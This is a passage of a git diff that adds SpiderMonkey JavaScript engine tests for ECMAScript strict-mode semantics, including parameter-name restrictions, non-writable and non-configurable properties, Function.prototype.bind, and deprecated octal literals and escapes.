+assertEq(testLenientAndStrict('(function f({x:arguments}){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments(){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments() {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(arguments){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([arguments]){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:arguments}){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(arguments){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([arguments]){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:arguments}){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Functions produced using the Function constructor may not use
+ * 'eval' or 'arguments' as a parameter name if their body is strict
+ * mode code. The strictness of the calling code does not affect the
+ * constraints applied to the parameters.
+ */
+assertEq(testLenientAndStrict('Function("eval","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("eval","\'use strict\';")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('Function("arguments","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("arguments","\'use strict\';")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.10.7.js b/js/src/tests/non262/strict/15.10.7.js
new file mode 100644
index 0000000000..5f1d4fa9fd
--- /dev/null
+++ b/js/src/tests/non262/strict/15.10.7.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('var r = /foo/; r.lastIndex = 42; r.lastIndex',
+ returns(42), returns(42)),
+ true);
+assertEq(testLenientAndStrict('var r = /foo/; delete r.lastIndex',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.3.4.5.js b/js/src/tests/non262/strict/15.3.4.5.js
new file mode 100644
index 0000000000..bc93bb67ae
--- /dev/null
+++ b/js/src/tests/non262/strict/15.3.4.5.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function strict() { 'use strict'; return this; }
+function lenient() { return this; }
+var obj = {};
+
+assertEq(strict.bind(true)(), true);
+assertEq(strict.bind(42)(), 42);
+assertEq(strict.bind("")(), "");
+assertEq(strict.bind(null)(), null);
+assertEq(strict.bind(undefined)(), undefined);
+assertEq(strict.bind(obj)(), obj);
+
+assertEq(lenient.bind(true)() instanceof Boolean, true);
+assertEq(lenient.bind(42)() instanceof Number, true);
+assertEq(lenient.bind("")() instanceof String, true);
+assertEq(lenient.bind(null)(), this);
+assertEq(lenient.bind(undefined)(), this);
+assertEq(lenient.bind(obj)(), obj);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.3.5.1.js b/js/src/tests/non262/strict/15.3.5.1.js
new file mode 100644
index 0000000000..163928ee41
--- /dev/null
+++ b/js/src/tests/non262/strict/15.3.5.1.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function fn() {
+ return function(a, b, c) { };
+}
+
+assertEq(testLenientAndStrict('var f = fn(); f.length = 1; f.length',
+ returns(3), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.3.5.2.js b/js/src/tests/non262/strict/15.3.5.2.js
new file mode 100644
index 0000000000..3106a09853
--- /dev/null
+++ b/js/src/tests/non262/strict/15.3.5.2.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function fn() {
+ return function(a, b, c) { };
+}
+
+assertEq(testLenientAndStrict('var f = fn(); delete f.prototype',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.11.js b/js/src/tests/non262/strict/15.4.4.11.js
new file mode 100644
index 0000000000..a4c38faa7a
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.11.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([20, 10, 30], 0, {writable: false});
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a.sort()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function obj() {
+ var o = {0: 20, 1: 10, 2: 30, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = obj(); Array.prototype.sort.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+// The behavior of sort is implementation-defined if the object being
+// sorted is sparse, so I'm not sure how to test its behavior on
+// non-configurable properties.
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.12.js b/js/src/tests/non262/strict/15.4.4.12.js
new file mode 100644
index 0000000000..5b98c8a717
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.12.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.splice(0, 1), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.splice.call(o, 0, 1), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.splice(0, 1), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.splice.call(o, 0, 1), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.13.js b/js/src/tests/non262/strict/15.4.4.13.js
new file mode 100644
index 0000000000..05d757aea7
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.13.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.unshift(40, 50), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.unshift.call(o, 40, 50), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 3, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 3, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.unshift(9), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.unshift.call(o, 9), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.6.js b/js/src/tests/non262/strict/15.4.4.6.js
new file mode 100644
index 0000000000..2625f1ba91
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.6.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 2, {configurable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 2, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.pop(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.pop.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.8.js b/js/src/tests/non262/strict/15.4.4.8.js
new file mode 100644
index 0000000000..6768714057
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.8.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([1, 2, 3], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 1, 1: 2, 2: 3, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a.reverse()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); Array.prototype.reverse.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); a.reverse()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); Array.prototype.reverse.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.4.9.js b/js/src/tests/non262/strict/15.4.4.9.js
new file mode 100644
index 0000000000..4d08fe98f9
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.4.9.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([10, 20, 30], 0, {writable: false});
+}
+
+function obj() {
+ var o = {0: 10, 1: 20, 2: 30, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = arr(); [a.shift(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); [Array.prototype.shift.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function agap() {
+ var a = [1, 2, , 4];
+ Object.defineProperty(a, 1, {configurable: false});
+ return a;
+}
+
+function ogap() {
+ var o = {0: 1, 1: 2, /* no 2 */ 3: 4, length: 4};
+ Object.defineProperty(o, 1, {configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var a = agap(); [a.shift(), a]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = ogap(); [Array.prototype.shift.call(o), o]',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.4.5.1.js b/js/src/tests/non262/strict/15.4.5.1.js
new file mode 100644
index 0000000000..3fb04ebd61
--- /dev/null
+++ b/js/src/tests/non262/strict/15.4.5.1.js
@@ -0,0 +1,84 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var out = {};
+
+function arr() {
+ return Object.defineProperty([1, 2, 3, 4], 2, {configurable: false});
+}
+
+function nonStrict1(out)
+{
+ var a = out.array = arr();
+ a.length = 2;
+}
+
+function strict1(out)
+{
+ "use strict";
+ var a = out.array = arr();
+ a.length = 2;
+ return a;
+}
+
+out.array = null;
+nonStrict1(out);
+assertEq(deepEqual(out.array, [1, 2, 3]), true);
+
+out.array = null;
+try
+{
+ strict1(out);
+ throw "no error";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "expected TypeError, got " + e);
+}
+assertEq(deepEqual(out.array, [1, 2, 3]), true);
+
+// Internally, SpiderMonkey has two representations for arrays:
+// fast-but-inflexible, and slow-but-flexible. Adding a non-index property
+// to an array turns it into the latter. We should test on both kinds.
+function addx(obj) {
+ obj.x = 5;
+ return obj;
+}
+
+function nonStrict2(out)
+{
+ var a = out.array = addx(arr());
+ a.length = 2;
+}
+
+function strict2(out)
+{
+ "use strict";
+ var a = out.array = addx(arr());
+ a.length = 2;
+}
+
+out.array = null;
+nonStrict2(out);
+assertEq(deepEqual(out.array, addx([1, 2, 3])), true);
+
+out.array = null;
+try
+{
+ strict2(out);
+ throw "no error";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "expected TypeError, got " + e);
+}
+assertEq(deepEqual(out.array, addx([1, 2, 3])), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/strict/15.5.5.1.js b/js/src/tests/non262/strict/15.5.5.1.js
new file mode 100644
index 0000000000..f07828eb5c
--- /dev/null
+++ b/js/src/tests/non262/strict/15.5.5.1.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function str() {
+ return new String("foo");
+}
+
+assertEq(testLenientAndStrict('var s = str(); s.length = 1; s.length',
+ returns(3), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('var s = str(); delete s.length',
+ returns(false), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('"foo".length = 1',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('delete "foo".length',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/15.5.5.2.js b/js/src/tests/non262/strict/15.5.5.2.js
new file mode 100644
index 0000000000..fa2c9231f1
--- /dev/null
+++ b/js/src/tests/non262/strict/15.5.5.2.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('"foo"[0] = 1',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('delete "foo"[0]',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.12.5.js b/js/src/tests/non262/strict/8.12.5.js
new file mode 100644
index 0000000000..c351c19c3f
--- /dev/null
+++ b/js/src/tests/non262/strict/8.12.5.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function obj() {
+ var o = {all: 1, nowrite: 1, noconfig: 1, noble: 1};
+ Object.defineProperty(o, 'nowrite', {writable: false});
+ Object.defineProperty(o, 'noconfig', {configurable: false});
+ Object.defineProperty(o, 'noble', {writable: false, configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = obj(); o.all = 2; o.all',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.nowrite = 2; o.nowrite',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.noconfig = 2; o.noconfig',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var o = obj(); o.noble = 2; o.noble',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('obj().nowrite++',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('++obj().nowrite',
+ returns(2), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('obj().nowrite--',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('--obj().nowrite',
+ returns(0), raisesException(TypeError)),
+ true);
+
+
+function arr() {
+ return Object.defineProperties([1, 1, 1, 1],
+ { 1: { writable: false },
+ 2: { configurable: false },
+ 3: { writable: false, configurable: false }});
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a[0] = 2; a[0]',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[1] = 2; a[1]',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[2] = 2; a[2]',
+ returns(2), returns(2)),
+ true);
+
+assertEq(testLenientAndStrict('var a = arr(); a[3] = 2; a[3]',
+ returns(1), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('arr()[1]++',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('++arr()[1]',
+ returns(2), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('arr()[1]--',
+ returns(1), raisesException(TypeError)),
+ true);
+assertEq(testLenientAndStrict('--arr()[1]',
+ returns(0), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.12.7-2.js b/js/src/tests/non262/strict/8.12.7-2.js
new file mode 100644
index 0000000000..2fd4dbae38
--- /dev/null
+++ b/js/src/tests/non262/strict/8.12.7-2.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// delete o[p] only performs ToString(p) once, even if there's a strict error.
+var hits = 0;
+var p = {
+ toString: function () {
+ hits++;
+ return "noconfig";
+ }
+};
+assertEq(testLenientAndStrict('var o = Object.freeze({noconfig: "ow"}); delete o[p]',
+ returns(false), raisesException(TypeError)),
+ true);
+assertEq(hits, 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.12.7.js b/js/src/tests/non262/strict/8.12.7.js
new file mode 100644
index 0000000000..518adc799d
--- /dev/null
+++ b/js/src/tests/non262/strict/8.12.7.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function setup() {
+ var o = {all: 1, nowrite: 1, noconfig: 1, noble: 1};
+ Object.defineProperty(o, 'nowrite', {writable: false});
+ Object.defineProperty(o, 'noconfig', {configurable: false});
+ Object.defineProperty(o, 'noble', {writable: false, configurable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.all',
+ returns(true), returns(true)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.nowrite',
+ returns(true), returns(true)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.noconfig',
+ returns(false), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict('var o = setup(); delete o.noble',
+ returns(false), raisesException(TypeError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.7.2-01.js b/js/src/tests/non262/strict/8.7.2-01.js
new file mode 100644
index 0000000000..8e1d76106b
--- /dev/null
+++ b/js/src/tests/non262/strict/8.7.2-01.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Check that assignment to a let-bound variable is permitted in both lenient and strict modes. */
+
+/* Assigning to a let-declared variable is okay in strict and loose modes. */
+assertEq(testLenientAndStrict('let let_declared; let_declared=1',
+ completesNormally,
+ completesNormally),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/8.7.2.js b/js/src/tests/non262/strict/8.7.2.js
new file mode 100644
index 0000000000..76b474cd71
--- /dev/null
+++ b/js/src/tests/non262/strict/8.7.2.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * These tests depend on the fact that testLenientAndStrict tries the
+ * strict case first; otherwise, the non-strict evaluation creates the
+ * variable. Ugh. Ideally, we would use evalcx, but that's not
+ * available in the browser.
+ */
+
+/* Assigning to an undeclared variable should fail in strict mode. */
+assertEq(testLenientAndStrict('undeclared=1',
+ completesNormally,
+ raisesException(ReferenceError)),
+ true);
+
+/*
+ * Assigning to a var-declared variable should be okay in strict and
+ * lenient modes.
+ */
+assertEq(testLenientAndStrict('var var_declared; var_declared=1',
+ completesNormally,
+ completesNormally),
+ true);
+
+/*
+ * We mustn't report errors until the code is actually run; the variable
+ * could be created in the mean time.
+ */
+assertEq(testLenientAndStrict('undeclared_at_compiletime=1',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+function obj() {
+ var o = { x: 1, y: 1 };
+ Object.defineProperty(o, 'x', { writable: false });
+ return o;
+}
+
+/* Put EXPR in a strict mode code context with 'with' bindings in scope. */
+function in_strict_with(expr) {
+ return "with(obj()) { (function () { 'use strict'; " + expr + " })(); }";
+}
+
+assertEq(raisesException(TypeError)(in_strict_with('x = 2; y = 2;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('x++;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('++x;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('x--;')), true);
+assertEq(raisesException(TypeError)(in_strict_with('--x;')), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/B.1.1.js b/js/src/tests/non262/strict/B.1.1.js
new file mode 100644
index 0000000000..cf36711dce
--- /dev/null
+++ b/js/src/tests/non262/strict/B.1.1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Octal integer literal at top level. */
+assertEq(testLenientAndStrict('010',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Octal integer literal in strict function body */
+assertEq(parseRaisesException(SyntaxError)
+ ('function f() { "use strict"; 010; }'),
+ true);
+
+
+/*
+ * Octal integer literal after strict function body (restoration of
+ * scanner state)
+ */
+assertEq(parsesSuccessfully('function f() { "use strict"; }; 010'),
+ true);
+
+/* Octal integer literal in function body */
+assertEq(parsesSuccessfully('function f() { 010; }'),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/B.1.2.js b/js/src/tests/non262/strict/B.1.2.js
new file mode 100644
index 0000000000..b44108fe13
--- /dev/null
+++ b/js/src/tests/non262/strict/B.1.2.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('"\\010"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\00"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\1"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\08"',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+assertEq(testLenientAndStrict('"\\0"',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('"\\0x"',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/assign-to-callee-name.js b/js/src/tests/non262/strict/assign-to-callee-name.js
new file mode 100644
index 0000000000..3c2efba2e2
--- /dev/null
+++ b/js/src/tests/non262/strict/assign-to-callee-name.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'assign-to-callee-name.js';
+var BUGNUMBER = 610350;
+var summary =
+ "Assigning to a function expression's name within that function should " +
+ "throw a TypeError in strict mode code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f = function assignSelfStrict() { "use strict"; assignSelfStrict = 12; };
+
+try
+{
+ var r = f();
+ throw new Error("should have thrown a TypeError, returned " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "didn't throw a TypeError: " + e);
+}
+
+var assignSelf = 42;
+var f2 = function assignSelf() { assignSelf = 12; };
+
+f2(); // shouldn't throw, does nothing
+assertEq(assignSelf, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/strict/browser.js b/js/src/tests/non262/strict/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/strict/browser.js
diff --git a/js/src/tests/non262/strict/deprecated-octal-noctal-tokens.js b/js/src/tests/non262/strict/deprecated-octal-noctal-tokens.js
new file mode 100644
index 0000000000..c12be87e1c
--- /dev/null
+++ b/js/src/tests/non262/strict/deprecated-octal-noctal-tokens.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/**
+ * These test cases check implementation-specific error messages for invalid
+ * octal literals, octal escape sequences, and non-octal decimal escape
+ * sequences in strings in strict mode code, where the error can't be reported
+ * at time of tokenization.
+ */
+var JSMSG_DEPRECATED_OCTAL_LITERAL = "\"0\"-prefixed octal literals are deprecated; use the \"0o\" prefix instead";
+var JSMSG_DEPRECATED_OCTAL_ESCAPE = "octal escape sequences can't be used in untagged template literals or in strict mode code";
+var JSMSG_DEPRECATED_EIGHT_OR_NINE_ESCAPE = "the escapes \\8 and \\9 can't be used in untagged template literals or in strict mode code";
+
+function checkPrologue(val, msg) {
+ try {
+ eval('function invalid () { "' + val + '"; "use strict"; }');
+ } catch(e) {
+ assertEq(e.name, "SyntaxError");
+ assertEq(e.message, msg);
+ return;
+ }
+
+ // If it comes here, then test has failed
+ assertEq("No Errors", "SyntaxError");
+}
+
+checkPrologue('\\8', JSMSG_DEPRECATED_EIGHT_OR_NINE_ESCAPE);
+checkPrologue('\\222', JSMSG_DEPRECATED_OCTAL_ESCAPE);
+checkPrologue('\\222\\8', JSMSG_DEPRECATED_EIGHT_OR_NINE_ESCAPE);
+
+function checkAfter(val, msg) {
+ try {
+ eval('function invalid () { "use strict" \n ' + val + ' }');
+ } catch(e) {
+ assertEq(e.name, "SyntaxError");
+ assertEq(e.message, msg);
+ return;
+ }
+
+ // If it comes here, then test has failed
+ assertEq("No Errors", "SyntaxError");
+}
+
+checkAfter('0755', JSMSG_DEPRECATED_OCTAL_LITERAL);
